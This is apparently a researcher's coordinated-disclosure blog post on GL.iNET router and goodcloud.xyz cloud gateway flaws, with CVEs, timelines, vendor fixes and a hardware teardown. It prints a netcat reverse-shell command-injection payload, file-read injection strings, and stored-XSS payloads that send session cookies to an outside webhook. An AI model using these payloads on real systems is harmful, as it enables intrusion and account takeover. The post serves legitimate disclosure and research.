I’ve really enjoyed reversing cheap/weird IoT devices in my free time. In early May of 2022, I went on an Amazon/AliExpress shopping spree and purchased ~15 cheap IoT devices. Among them was this mini portable router by GL.iNET.  

GL.iNET is a leading developer of OpenWrt Wi-Fi and IoT network solutions and to my knowledge is a Chinese company based out in Hong Kong & USA. They offer a wide variety of products, and the company’s official website is www.gl-inet.com. The GL-MT300N-V2 firmware version I dove into was 

V3.212
released on April 29th, 2022 for the Mango model. The goodcloud remote cloud management gateway was 
Version 1.00.220412.00
.

This blog will be separated into two sections. The first half contains software vulnerabilities, this includes the local web application and the remote cloud peripherals. The second mainly consists of an attempted hardware teardown.  

I like to give credit where credit is due. The GL.iNET team was really awesome to work & communicate with. They genuinely care about the security posture of their products. So I'd like to give some quick praise for being an awesome vendor that kept me in the loop throughout the patching/disclosure process.  

In terms of overall timeline/transparency, I started testing on-and-off between 

May 2nd 2022
 to 
June 15th 2022
. After reporting the initial command injection vulnerability GL.iNET asked if I were interested in monetary compensation to find additional bugs. We ultimately agreed to public disclosure & the release of this blog in exchange for continued testing. As a result, I was given safe passage and continued to act in good faith. Lastly, the GL.iNet also shipped me their (GL-AX1800 / Flint) for additional testing. GL.iNet does nothave a BBP or VDP program, I asked, and was given permission to perform the tests I did. In other words, think twice before poking at their infrastructure and being a nuisance.

Having vulnerabilities reported should never be seen as a defeat or failure. Development and security are intertwined in a never ending cycle. There will always be vulnerabilities in all products that take risks on creativity, innovation, and change - the essence of pioneering.

Vulnerabilities List

A total of 6 vulnerabilities were identified in GL.iNet routers and IoT cloud gateway peripheral web applications:

1. OS command injection on router & cloud gateway (CVE-2022-31898)
2. Arbitrary file read on router via cloud gateway (CVE-2022-42055)
3. PII data leakage via user enumeration leading to account takeover
4. Account takeover via stored cross-site scripting (CVE-2022-42054)
5. Account takeover via weak password requirements & lack of rate limiting
6. Password policy bypass leading to single character passwords 

Web Application 

OS Command Injection 

The MT300N-V2 portable router is affected by an OS Command Injection vulnerability that allows authenticated attackers to run arbitrary commands on the affected system as the application’s user. This vulnerability exists within the local web interface and remote cloud interface. This vulnerability stems from improper validation of input passed through the ping (

ping_addr
) and traceroute (
trace_addr
) parameters. The vulnerability affects ALL GL.iNET product’s firmware  
&gt;3.2.12
.

Fixed in firmware 

Version 3.215
 stable build 
SHA256: 8d761ac6a66598a5b197089e6502865f4fe248015532994d632f7b5757399fc7

Vulnerability Details

CVE ID: CVE-2022-31898
Access Vector: Remote/Adjacent
Security Risk: High
Vulnerability: CWE-78
CVSS Base Score: 8.4
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

I’ll run through the entire discovery process. There exists a file on disk 

/www/src/router/router.js
 which essentially manages the application panels. Think of it as the endpoint reference in charge of calling different features and functionality. As seen below, the path parameter points to the endpoint containing the router feature’s location on disk. When the endpoint such as 
/attools
 is fetched its respective 
.js
.html
, and 
.css
 files are loaded onto the page.

Through this endpoint, I quickly discovered that a lot of these panels were not actually accessible through the web UI’s sidebar seen below.

However, the functionality of these endpoints existed and were properly configured & referenced. Visually speaking, within the application they don’t have a sidebar «button» or action that can redirect us to it. 

Here is a full list of endpoints that can not be accessed through web UI actions.

http://192.168.8.1/#/ping    <-------- Vulnerable
http://192.168.8.1/#/apitest
http://192.168.8.1/#/attools
http://192.168.8.1/#/smessage
http://192.168.8.1/#/sendmsg
http://192.168.8.1/#/gps
http://192.168.8.1/#/cells
http://192.168.8.1/#/siderouter
http://192.168.8.1/#/rs485
http://192.168.8.1/#/adguardhome
http://192.168.8.1/#/sms
http://192.168.8.1/#/log
http://192.168.8.1/#/process
http://192.168.8.1/#/blelist
http://192.168.8.1/#/bluetooth

I should mention that some of these endpoints do become available after connecting modems, and other peripheral devices to the router. See the documentation for more details https://docs.gl-inet.com/.

As seen above, there exists a 

ping
 endpoint. From experience, these are always interesting. This endpoint has the ability to perform typical 
ping
 and 
traceroute
 commands. Let’s quickly confirm that these files exist, 
/ping
actions get called as defined within the 
router.js
 file.

root@GL-MT300N-V2:/www/src/temple/ping# pwd && ls /www/src/temple/ping index.CSS index.html index.js

The expected usage and output can be seen below.

What’s OS Command Injection? OS command injection is a fairly common vulnerability seen in such endpoints. Its typically exploited by using command operators ( 

|
 ,
&amp;&amp;
;
, etc,) that would allow you to execute multiple commands in succession, regardless of whether each previous command succeeds. 

Looking back at the ping portal, the UI (frontend) sanitizes the user-provided input against the following regex which is a very common implementation for validating IPv4 addresses.

Therefore, 

;
 isn’t an expected IPv4 schema character so when the 
pingIP()
check is performed, and any invalid characters will fail the request.

And we’re presented with the following error message.

We need to feed malicious content into the parameter 

pingValue
. If we do this successfully and don’t fail the check, our request will be sent to the web server where the server application act upon the input.

To circumvent the input sanitization on the front-end we will send our post request to the webserver directly using Burp Suite. This way we can simply modify the POST request without the front-end sanitization being forced. As mentioned above, using the 

;
 command separator we should be able to achieve command injection through the 
ping_addr
 or 
trace_addr
 parameters. If I’ve explained this poorly, perhaps the following visual can help.

Image Credit: I‘m on Your Phone, Listening – Attacking VoIP Configuration Interfaces

Let’s give it a try. If you look closely at the POST request below the 

ping_addr
value is 
;/bin/pwd%20
 which returned the present working directory of the application user. Confirming that OS Command Injection had been successfully performed.

Now let’s do an obligatory cat of 

/etc/passwd
 by feeding the following input 
;/bin/cat /etc/passwd 2>&amp;1

Okay, let’s go ahead and get a reverse shell.

Payload: 
;rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 192.168.8.193 4000 >/tmp/f

URL encoded:
;rm%20/tmp/f;mknod%20/tmp/f%20p;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|/usr/bin/nc%20192.168.8.193%204000%20>%20tmp%20f

Cool, but this attack scenario kinda sucks… we need to be authenticated, on the same network, etc, etc. One of the main reasons I think this is a cool find, and why it’s not simply a local attack vector is that we can configure our device with the vendor’s IoT cloud gateway! This cloud gateway allows us to deploy and manage our connected IoT gateways remotely.

I’ve discovered that there are roughly 

~30000
 devices configured this way. One of the features of this cloud management portal is the ability to access your device’s admin panel remotely through a public-facing endpoint. Such can be seen below.

As you may have guessed, command injection could be performed from this endpoint as well.

In theory, any attacker with the ability to hijack goodcloud.xyz user sessions or compromise a user account (both achieved in this blog) could potentially leverage this attack vector to gain a foothold on a network compromise. 

Additional things you can do:

Scan internal network:
GET /cgi-bin/api/repeater/scan

Obtain WiFi password of joined SSID's
GET /cgi-bin/api/repeater/manager/list

Obtain WiFi password of routers SSID's
GET /cgi-bin/api/ap/info 

Disclosure Timeline 

May 2, 2022: Initial discovery
May 2, 2020: Vendor contacted
May 3, 2022: Vulnerability reported to the vendor
May 10, 2022: Vulnerability confirmed by the vendor
July 6, 2022: CVE reserved
July 7, 2022: Follow up with the vendor
October 13, 2022: Fixed in firmware 3.215


Arbitrary File Read

The MT300N-V2 portable router, configured along sides the vendor’s cloud management gateway (goodcloud.xyz) is vulnerable to Arbitrary File Read. The remote cloud gateway is intended to facilitate remote device access and management. This vulnerability exists within the cloud manager web interface and is only a feature available to enterprise users. The device editing interface tools harbors the 

ping
 and 
traceroute
 functionality which is vulnerable to a broken type of command injection whose behavior is limited to performing arbitrary file reads. Successful exploitation of this vulnerability will allow an attacker to access sensitive files and data on the router. It is possible to read any arbitrary files on the file system, including application source code, configuration, and other critical system files. 

Vulnerability Details

CVE ID: CVE-2022-42055
Access Vector: Remote
Security Risk: Medium
Vulnerability: CWE-23 & CWE-25
CVSS Base Score: 6.5
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Enterprise users will have the 

TOOLS
 menu when editing their devices as seen below.

The 

ping_addr
 and 
trace_addr
 both allow you to read any file on disk when prepending 
;/bin/sh
 to the file you want to read.

I’m not sure why this happens. I have not been able to get regular command injection due to the way its calling 

ping
 and 
traceroute
 within busybox from what I assume is data passing through something similar to a ngrok tunnel. I can’t use funky delimiters or common escapes to simply comment out the rest of the operation. Anyhow, valid payloads would look like the following:

;bin/sh%20/<PATH_TO_FILE>

&bin/sh%20/<PATH_TO_FILE>

As a POC I’ve created a 

flag.txt
 file in 
/tmp
 on my router and I’m going to read it from the cloud gateway. I could just as easily read the 
passwd
 and 
shadow
 files. Successfully cracking them offline would allow me access to both the cloud ssh terminal, and the login UI.

Funny enough, this action can then be seen getting processed by the logs on the cloud gateway. So definitely not «OPSEC» friendly.

Disclosure Timeline 

May 25, 2022: Initial discovery
May 25, 2022: Vendor contacted & vulnerability reported
May 26, 2022: Vendor confirms vulnerability
July 7, 2022: Follow up with the vendor
October 13, 2022: Fixed in firmware 3.215


PII Data Leakage & User Enumeration 

The MT300N-V2 portable router has the ability to be configured along sides the vendor’s cloud management gateway (goodcloud.xyz) which allows for remote access and management.  This vulnerability exists within the cloud manager web interface through the device-sharing endpoint 

cloud-api/cloud/user/get-user?nameoremail=
 GET request.  Successful enumeration of a user will result in that user’s PII information being disclosed. At its core, this is a funky IDOR. The vulnerability affected the goodcloud.xyz prior to May, 12th 2022. 

Vulnerability Details

CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-200 & CWE-203
CVSS Base Score: 6.5
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

I identified roughly  

~30,000
 users which were enumerated via their username or email address. Successful enumeration compromises the confidentiality of the user. This vulnerability returns sensitive information that could be leveraged by a sophisticated, and motivated attacker to compromise the user’s account credentials. 

This attack is performed after creating a regular 

goodcloud.xyz
 cloud gateway account and linking your GL.iNet device. In the image below we see that our device can be shared with another registered user.

The request and response for sharing a device with another user are seen below.

Performing this 

get-user
 request against an existing user will disclosure the following account information:

- company name
- account creation time
- credential's salt (string+MD5)
- account email
- account user ID
- last login time
- nickname
- password hash (MD5)
- phone number
- password salt (MD5)
- secret key
- security value (boolean)
- status value (boolean)
- account last updated time
- application user id
- username

The password appears to be MD5 HMAC but the actual formatting/order is unknown, and not something I deem necessary to figure out. That being said, given all the information retrieved from the disclosure I believe the chances of finding the right combination to be fairly high. Below is an example of how it could be retrieved.

Additionally, I discovered no rate-limiting mechanisms in place for sharing devices. Therefore, it’s relatively easy to enumerate a good majority of valid application users using Burp Suite intruder.

Another observation I made, which was not confirmed with the vendor (so is purely speculation) I noticed that not every user had a 

secret
 value associated with their account. I suspect that perhaps this secret code is actually leveraged for the 2FA QR code creation mechanism. The syntax would resemble something like this:

<a href="https://www.google.com/chart?chs=200x200&amp;chld=M|0&amp;cht=qr&amp;chl=otpauth://totp/%3CUSER%20HERE%3E?secret=%3CSECRET%20HERE%3E&amp;issuer=goodcloud.xyz">https://www.google.com/chart?chs=200x200&amp;chld=M|0&amp;cht=qr&amp;chl=otpauth://totp/&lt;USER HERE>?secret=&lt;SECRET HERE>&amp;issuer=goodcloud.xyz</a>

This is purely speculative. 

The GL.iNET team was extremely quick to remediate this issue. Less than 12h after reporting it a fix was applied as seen below.

Disclosure Timeline 

May 11, 2022: Initial discovery
May 11, 2022: Vendor contacted & vulnerability reported
May 11, 2022: Vendor confirms vulnerability
May 12, 2022: Vendor patched the vulnerability


Stored Cross-Site Scripting

The MT300N-V2 portable router has the ability to join itself to the remote cloud management configuration gateway (goodcloud.xyz) which allows for remote management of linked IoT devices.  There exist multiple user input fields that do not properly sanitize user-supplied input. As a result, the application is vulnerable to stored cross-site scripting attacks. If this attack is leveraged against an enterprise account through the 

Sub Account
 invitation it can lead to the account takeover of the joined accounts. 

Vulnerability Details

CVE ID: CVE-2022-42054
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-79
CVSS Base Score: 8.7
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:H

We’ll find the vulnerable inputs field in the «Group Lists» panel, in which a user can modify and create as many groups as they want.

The vulnerable fields are 

Company
 and 
Description
. The payloads I used as a proof of concept are the following:

<img src=x onerror=confirm(document.cookie)>

or

<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#46;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x29;>

Once the group is saved anytime the user either logs in or switches regions (Asia Pacific, America, Europe), logs in, or switched organication the XSS will trigger as seen below.

This occurs because there is a 

listQuery
 key that checks for 
{"pageNum":"","pageSize":"","name":"","company":"","description":""}
 and our XSS is stored and referenced within 
company
 name & 
description
 which is how the XSS triggers.

Can this be used maliciously? Unfortunately not with regular user accounts. With enterprise accounts yes, as we’ll see later. Here’s why. Realistically the only way to leverage this would be to share a device with a malicious named 

company
 and 
description
 fields with another user. 

Even with the patch for the PII and User Enumeration vulnerability above, it is still possible to enumerate 

userID
‘s which is exactly what we need to send a shared device invitation to users. Below is an example request.

An attacker with a regular user account would create a group with a 

company
 or 
description
 name like 
&lt;script type=“text/javascript”&gt;document.location=“http://x.x.x.x:xxxx/?c=“+document.cookie;&lt;/script&gt;
. Then invite a victim to that group. When the victim would login the attacker would able to steal their sessions. Unfortunately with a regular user account, this isn’t possible. 

If we share the device from 

boschko
(attacker) to 
boschko1
(victim). Here’s how the chain would go. After 
boschko
 creates the malicious group and sends an invitation to 
boschko1
 he’s done. The victim 
boschko1
 would login and receive the invite from 
boschko
 as seen below.

However, when we sign-out and back into 

boschko1
 no XSS triggered, why? It’s because there is a difference between being a member of a shared group (a group shared by another user with you) and being the owner (you made the group shared and created) as can be seen below.

As seen above, a user of a shared group won’t have the malicious fields of the group translated to their «frontend».

HOWEVER! If you have a business/enterprise account or are logged in as a business/enterprise user you can leverage this stored XSS to hijack user sessions! All thanks to features only available to business users :).

Business features provide the ability to add «Sub Accounts». You can think of this as having the ability to enroll staff/employees into your management console/organization. If a user accepts our 

subAccount
 invitation they become a staff/employee inside of our «organization». In doing so, we’ll have the ability to steal their fresh session cookies after they login because they’d become owners of the malicious group by association.

Let’s take this one step at a time. The Subscription Account panel looks like this.

I’m sure you can make out its general functionality. After inviting a user via their email address they will receive the following email.

I’ll try and break this down as clearly as I can. 

  • User A (attacker) is 
    boschko
     in red highlights. 
  • User B (victim) is 
    boschko1
     in green highlights.
  1. Step 1: Create a malicious company as 
    boschko
     with XSS company name and description
  2. Step 2: Invite 
    boschko1
     to the malicious company as 
    boschko
  3. Step 3: Get boschko1 cookies and use them to log in as him

Below is the user info of 

boschko
 who owns the company/organization 
test
. He also owns the «Group List» 
happy company
 the group which is part of the 
test
 organization.

boschko1
 has been sent an invitation email from 
boschko
boschko1
 has accepted and has been enrolled into 
boschko
‘s 
test
 organization. 
boschko1
has been given the 
Deployment Operator
 level access over the organization.

Logged into 

boschko1
 the user would see the following two «workspaces», his personal 
boschko1 (mine)
 and the one he has been invited to 
test
.

When 

boschko1
 is signed into his own team/organization 
boschko1 (mine)
, if devices are shared with him nothing bad happens.

When 

boschko1
 signes into the 
test
 organization that 
boschko
 owns by 
Switch Teams
 the malicious 
company
 and 
description
 are properly referenced/called upon when 
listQuery
 action.

The stored XSS in the malicious 

test
 company, 
company
 and 
description
fields (members of the 
happy company
 Group List) gets trigger when 
boschko1
 is signed into 
boschko
 organization 
test
.

From our malicious 

boschko
 user, we will create a group with the following malicious 
company
 and 
description
 names.

<img src=x onerror=this.src='https://webhook.site/6cb27cce-4dfd-4785-8ee8-70e932b1b8ca?c='+document.cookie>

We can leverage the following website since we’re too lazy to spin up a digital ocean droplet. With this webhook in hand, we’re ready to steal the cookies of 

boschko1
.

Above, 

boschko
 has stored the malicious javascript within his 
company
 and 
description
 fields simply log  
boschko1
 into the 
test
 organization owned by 
boschko
 and receive the cookies via the webhook.

As seen below, we get a bunch of requests made containing the session cookies of 

boschko1
.

Using the stolen 

boschko1
 session cookies the account can be hijacked.

The GL.iNET team remediated the issue by July 15 with some pretty solid/standard filtering.

I attempted a handful of bypasses with U+FF1C and U+FF1E, some more funky keyword filtering,  substrings, array methods, etc, and had no success bypassing the patch. 

Disclosure Timeline 

May 12, 2022: Initial discovery
May 12, 2022: Vendor contacted & vulnerability reported
May 13, 2022: Vendor confirms vulnerability
May 19, 2022: Contact vendor about enterprise user impact
July 7, 2022: Follow up with the vendor
July 15, 2022: Vendor patched the vulnerability


Weak Password Requirements & No Rate Limiting

The MT300N-V2 portable router has the ability to join itself to the remote cloud management configuration gateway with its accounts created through goodcloud.xyz which allows for remote management of linked IoT devices. The login for goodcloud.xyz was observed to have no rate limiting. Additionally, user passwords only require a minimum of 6 characters and no special characters/password policy. This makes it extremely simple for an attacker to brute force user accounts leading to account takeover. 

Vulnerability Details

CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-521
CVSS Base Score: 9.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

As seen below when users create their cloud gateway 

goodcloud.xyz
 accounts they’re only required to have a password ≥6 with no capitalization, or special characters being required or enforced.

Additionally, due to having no rate limiting on login attempts by using Burp Suite intruder it’s trivial to spray users or brute force user accounts.

Below is an example of successfully obtaining the password for a sprayed user.

In total, I was able to recover the passwords of 

33
 application users. I never tested these credentials to log into the UI for obvious ethical reasons. All the data was reported back to the GL.iNET team.  

Disclosure Timeline 

May 18, 2022: Initial discovery
May 24, 2022: Vendor contacted & vulnerability reported
May 24, 2022: Vendor confirms vulnerability
June 7, 2022: Vendor implements rate-limiting, patching the vulnerability


Password Policy Bypass

The MT300N-V2 portable router has the ability to join itself to the remote cloud management configuration gateway (goodcloud.xyz) which allows for remote management of linked IoT devices.  For these cloud gateway accounts, while password complexity requirements were implemented in the original signup page, these were not added to the password reset page. The current lack of rate limiting this severely impacts the security posture of the affected users.

Vulnerability Details

CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-521
CVSS Base Score: 6.7
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

The reset password policy isn’t consistent with the registration and change password policy. As a result, it’s possible to bypass the 6-character password requirements to a single character. In general, the application should validate that the password contains alphanumeric characters and special characters with a minimum length of around eight. Additionally, I feel like it’s best practice not to allow users to set the previously used password as the new password.

As seen below, through the UI the password change has checks on the client side to ensure the password policy is respected.

In Burp Suite we can intercept the request and manually set it to a single character.

The request above is submitting successfully, and the new password for the 

boschko
 user has been set to 
1
. The request below is the login request, as you can see it was successful.

Disclosure Timeline 

May 26, 2022: Initial discovery
May 26, 2022: Vendor contacted & vulnerability reported
May 26, 2022: Vendor confirms vulnerability
July 7, 2022: Follow up with the vendor
July 15, 2022: Vulnerability has been patched


Additional Interesting Finds 

I made a few interesting discoveries that I don’t consider vulnerabilities. 

Before we jump into this one we have to quickly talk about ACL configuration. Basically, for 

rpc
 having appropriate access control over the invocations the application can make is very important. These methods should be strictly controlled. For more information on this refer to the Ubus-Wiki.

Once we’ve installed OpenWrt as seen above, the application will generate the list of 

rpc
 invocation methods for OpenWrt which is defined within the ACL configuration file 
/usr/share/rpcd/acl.d/luci-base.json
. Here is a snippet of the file in question.

...
	"luci-access": {
		"description": "Grant access to basic LuCI procedures",
		"read": {
			"cgi-io": [ "backup", "download", "exec" ],
			"file": {
				"/": [ "list" ],
				"/*": [ "list" ],
				"/dev/mtdblock*": [ "read" ],
				"/etc/crontabs/root": [ "read" ],
				"/etc/dropbear/authorized_keys": ["read"],
				"/etc/filesystems": [ "read" ],
				"/etc/rc.local": [ "read" ],
				"/etc/sysupgrade.conf": [ "read" ],
				"/etc/passwd": [ "read" ],
				"/etc/group": [ "read" ],
				"/proc/filesystems": [ "read" ],
...
		"write": {
			"cgi-io": [ "upload" ],
			"file": {
				"/etc/crontabs/root": [ "write" ],
				"/etc/init.d/firewall restart": ["exec"],
				"/etc/luci-uploads/*": [ "write" ],
				"/etc/rc.local": [ "write" ],
				"/etc/sysupgrade.conf": [ "write" ],
				"/sbin/block": [ "exec" ],
				"/sbin/firstboot": [ "exec" ],
				"/sbin/ifdown": [ "exec" ],
...

Not being a subject matter expert, I would however say that the above methods are well-defined. Methods in the file namespace aren’t simply «allow all» — 

( "file": [ "*" ] )
 if it were the case, then this would be an actual vulnerability.

rpcd
 has also a defined user in 
/etc/config/rpcd
 that we can use for the management interface. This user is used to execute code through a large number of  
rpcd
 exposed methods.

With this information in hand, we should be able to login with these credentials. As a result, we will obtain a large number of methods that can be called, and get the 

ubus_rpc_session
.

As seen in the following image this 

ubus_rpc_session
 value is used to call other methods defined in ACL config files.

Now we might look at the image above and think we have RCE of sorts. However, for some weird reason 

/etc/passwd
 is actually defined with valid read primitives within the 
luci-base.json
 ACL config file.

As seen below attempting to read any other files will result in a failed operation.

I simply found this interesting hence why I am writing about it.

Hardware Teardown 

Let’s actually start the intended project! The GL-MT300N router looks like this:

It’s nothing fancy, the device has a USB port, 2 ethernet ports (LAN & WAN), a reset button, and a mode switch. Let’s break it open and see what hardware we have on hand.

Immediately there are some interesting components. There looks to be a system on a chip (SoC), SPI flash, and some SD RAM. There is also a serial port and what looks like could potentially be JTAG, and almost definitely UART.

In terms of chipsets, there is a MediaTek MT7628NN chip which is described as being a «router on a chip» the datasheet shows it is basically the CPU and it supports the requirements for the entry-level AP/router.

Looking at the diagram of the chip there is communication for UART, SPI, and I2C which are required to transfer data. This also confirms that this chip has a serial console that can be used for debugging. If this is still enabled this could allow us to access the box while it’s running and potentially obtain a shell on the system.

The second chip is the Macronix MX25L12835F SPI (serial flash chip) this is what attacked for most of the reversing process to obtain the application’s firmware. This is because the serial flash usually contains the configuration settings, file systems, and is generally the storage for devices lacking peripherals would be stored. And looking around on the board there is no other «storage device». 

The third, and last chip is the Etron Technology EM68C16CWQG-25H which is the ram used by the device when it is running. 

Connecting to UART

Let’s quickly go over what’s UART. UART is used to send and receive data from devices over a serial connection. This is done for purposes such as updating firmware manually, debugging, or interfacing with the underlying system (kind of like opening a new terminal in Ubuntu). UART works by communicating through two wires, a transmitter wire (TX) and a receiver wire (RX) to talk to the micro-controller or system on a chip (basically the brains of the device) directly.

The receiver and transmitter marked RX and TX respectively, need to connect to a second respective UART device’s TX and RX in order to establish a communication. I’m lucky enough to have received my Flipper Zero so I’ll be using it for this!

If you would like more in-depth information on UART see my blog on hacking a fertility sperm tester. We’ll connect our Flipper Zero to the router UART connection as seen below.

The result will be a little something like this.

Since I’m a Mac user connecting to my Flipper Zero via USB will «mount» or make the device accessible at 

/dev/cu.usbmodemflip*
 so if I want to connect to it all I need to do is run the command below.

Once I’ve ran the screen command, and the router is powered on, ill start seeing serial output confirming that I’ve properly connected to UART.

As you can see, I’ve obtained a root shell. Unprotected root access via the UART is technically a vulnerability CWE-306. Connecting to the UART port drops you directly to a root shell, and exposes an unauthenticated Das U-Boot BIOS shell. This isn’t something you see too often, UART is commonly tied down. However, «exploitation» requires physical access, the device needs to be opened, and wires connecting to pads RX, TX, and GND on the main logic board. GL.iNET knows about this, and to my knowledge doesn’t plan on patching it. This is understandable as there’s no «real» impact. 

I’ll go on a «quick» rant about why unprotected UART CVEs are silly. The attack requires physical access to the device. So, an attacker has to be on-site, most likely inside a locked room where networking equipment is located, and is probably monitored by CCTV… The attacker must also attach an additional USB-to-UART component to the device’s PCB in order to gain console access. Since physically dismantling the device is required to fulfill the attack, I genuinely don’t consider this oversight from the manufacturer a serious vulnerability. Obviously, it’s not great, but realistically these types of things are at the vendor’s discretion. Moreover, even when protections are in place to disable the UART console and/or have the wide debug pads removed from the PCB there are many tricks one can use to navigate around those mechanisms.

Although personally, I believe it’s simply best practice for a hardware manufacturer to disable hardware debugging interfaces in the final product of any commercial device. Not doing so isn’t worthy of a CVE.

Getting back on track. Hypothetically if we were in a situation where we couldn’t get access to a shell from UART we’d likely be able to get one from U-Boot. There are actually a lot of different ways to get an application shell from here. Two of those techniques were covered in my blog Thanks Fo’ Nut’in — Hacking YO’s Male Fertility Sperm Test so I won’t be covering them here.

Leveraging the SPI Flash

Even though the serial console is enabled, if it weren’t, and we had no success getting a shell from U-Boot, our next avenue of attack might be to extract the firmware from the SPI flash chip. 

The goal is simple, read the firmware from the chip. There are a few options like using clips universal bus interface device, unsoldering the chip from the board and connecting it to a specialized EPROM read/write device or attaching it to a Protoboard. I like the first option and using SOIC8 clips over hook clips.

At a minimum, we’ll need a hardware tool that can interact with at least an SPI interface. I’m a big fan of the Attify Badge as it’s very efficient and supports many interfaces like SPI, UART, JTAG, I2C, GPIO, and others. But you could other devices like a professional EPROM programmer, a Bus Pirate, beagleboneRaspberry Pi, etc,.

Below is the pinout found on the datasheet for our Macronix MX25L12835F flash.

All you need to do is make the proper connections from the chip to the Attify badge. I’ve made mine according to the diagram below.

OK. I spent a solid two nights trying to dump the firmware without success. I’ve tried the Bus Pirate, Shikra, Attify, and a beaglebone black but nothing seems to work. Flashrom appears to be unable to read the data or even identify the chip, which is really weird. I’ve confirmed the pinouts are correct from the datasheet, and as seen below, flashrom supports this chip.

Attempting to dump the firmware results in the following.

So what’s going on? I’m not an EE so I had to do a lot of reading & talking to extremely patient people. Ultimately, I suspect this is happening because there is already a contention for the SPI bus (the MediaTek MT7628NN chip), and due to the nature of what we’re attempting to do, the router is receiving two masters connections and ours is not taking precedence. Currently, the MCU on the board is the master of the SPI chip, that’s the one where all the communication is going to and from. I wasn’t able to find a way to intercept, short, or stop that communication to make our Attify badge the master. In theory, a trick to get around this would be by holding down a reset button while reading the flash and just hoping to get lucky (I did this for ~2h and had no luck). Since our Attify badge would already be powered on, it could «IN THEORY» take precedence. This could, again «in theory» stop the chip from mastering to the MCU. But I haven’t been able to do so properly. I’ve spent ~8 hours on this, tying out multiple different hardware (PI, beaglebone, Attify, BusPirate) without success. I also suspect that being on a MacBook Pro with funky USB adapters could be making my situation worse.

Okay, we’re left with no other option than to go «off-chip». As previously mentioned, there are multiple ways to dump the contents of flash memory. Let’s try desoldering the component from the board, and use a chip reprogrammer to read off the contents. 

My setup is extremely cheap setup is very sub-optimal. I don’t own a fixed «hot air station» or PDC mount. I’m just using a loose heat gun.

Our goal is to apply enough heat so that the solder joints melt. We need to extracted the chip with tweezers without damaging components. Easier said then done with  my shitty station. differential heating on the board can be an issue. When a jet of hot air is applied to a PCB at room temperature, most of the heat is diffused to the colder spots, making the heating of the region of interest poor. To work around this you might think that increasing the heat will solve all of our issues. However, simply increasing the temperature is dangerous and not advisable. 

When a component is put under increased thermal stress the temperature gradient increases along the board. The temperature difference on the board will produce thermal expansion in different areas, producing mechanical stress that may damage the board, break, and shift components. Not good. My setup is prone to this type of error because I don’t have a mounting jig for the heat gun that can control distance. I don’t have any high-temperature tape I can apply to the surrounding components so that they don’t get affected by my shaky hand controlling the heat source.

Regardless, for most small components, a preheating temperature of 250º C should be enough.

After a few minutes, I was able to get the chip off. However, there is a tiny shielded inductor or resistor that was affected by the heat which shifted when I removed the SPI with the tweezers. I wasn’t able to get this component back on the board. Fuck. I’m not an EE so I don’t fully understand the impact and consequences this has.  

Let’s mount the SPI onto a SOP8 socket which we’ll then connect to our reprogrammer. Below is the orientation of the memory in the adapter.

This is, once again, quite a shitty reprogrammer. I actually had to disable driver signing to get the USB connection recognized after manually installing the shady driver. We’ll go ahead and configure our chip options knowing our SPI is Macronix MX25L12835F.

However, this also failed/couldn’t do any reads. I spend another ~5 hours debugging this. I thought it was the SOP socket clip so I soldered it onto a board and relayed the links to the reprogrammer but the results were the same.

After a while, I went ahead and re-soldered it to the main router PCB, and the device was fully bricked. To be quite honest, I’m not sure what I did wrong/at which step I made the mistake. 

They say that failure is another stepping stone to greatness, but given that the entire reason for this purchase was to try out some new hardware hacking methodologies…. this was very bittersweet. 

I remembered the squashfs information displayed in the UART log information. So, if we really wanted to reverse the firmware it’s still impossible. You can grab the unsigned firmware from the vendor’s site vendors here. Below are the steps you’d follow if you had successfully extracted the firmware to get to the filesystem.

So let’s check if they have any hardcoded credentials.

Luckily, they don’t.

The last thing I observed was that in the UBI reader there is an extra data block at the end of the image and somewhere in between that in theory could allow us to read code.

This purchase was supposed to be hardware hacking focused & I failed my personal objectives. To compensate I’ll share some closing thoughts with you. 

In case you were wondering «how can the vendor prevent basic IoT hardware vulnerabilities? And is it worth it?». The answer is yes, and yes. This blog is long enough so I’ll keep it short. 

Think of it this way. Having an extra layer of protection or some baseline obfuscation in the event that developers make mistakes is a good idea and something that should be planned for. The way I see it, if the JTAG, UART, or ICSP connector weren’t immediately apparent, this would’ve slowed me down and perhaps eventually demotivate me to push on. 

The beautiful part is that hardware obfuscation is easy to introduce at the earliest stages of product development. Unlike software controls, which are implemented at later stages of the project and left out due to lack of time. There exist many different hardware controls which are all relatively easy to implement. 

Since the hardware hacking portion of this blog wasn’t a great success I might as well share some thoughts & ideas on remediation & how to make IoT hardware more secure. 

1. Removing the PCB silkscreen. Marks, logos, symbols, etc, have to go. There’s no real reason to draw up the entire board, especially if it’s in production.

2. Hide the traces! It’s too simple to follow the solder mask (the light green parts on this PCB) What’s the point of making them so obvious?

3. Hardware-level tamper protection. It’s possible to set hardware and even software fuses to prevent readout (bear in mind that both can be bypassed in many cases).

4. Remove test pins and probe pads and other debugging connections. Realistically speaking if the product malfunctions and a firmware update won’t fix it, the manufacturer likely won’t send someone onsite to debug /fix it. 99% of the time they’re simply going to send you a new one. So why have debug interfaces enabled/on production devices?

5. If you’re using vias as test points (because they make using a multimeter or a scope probe much easier, and are typically used by embedded passive components) it would be wise to use buried or blind vias. The cost of adding additional PCB layers is cheap if you don’t already have enough to do this.

6. Remove all chipset markings! It’s seriously so much harder & time-consuming to identify a chip with no markings.

7. Why not use tamper-proof cases, sensors (photodiode detectors), or one-way screws. Again some of these are not difficult to drill bypass. However, you’re testing the motivation of the attacker. Only really motivated reverse engineers would bother opening devices in the dark.

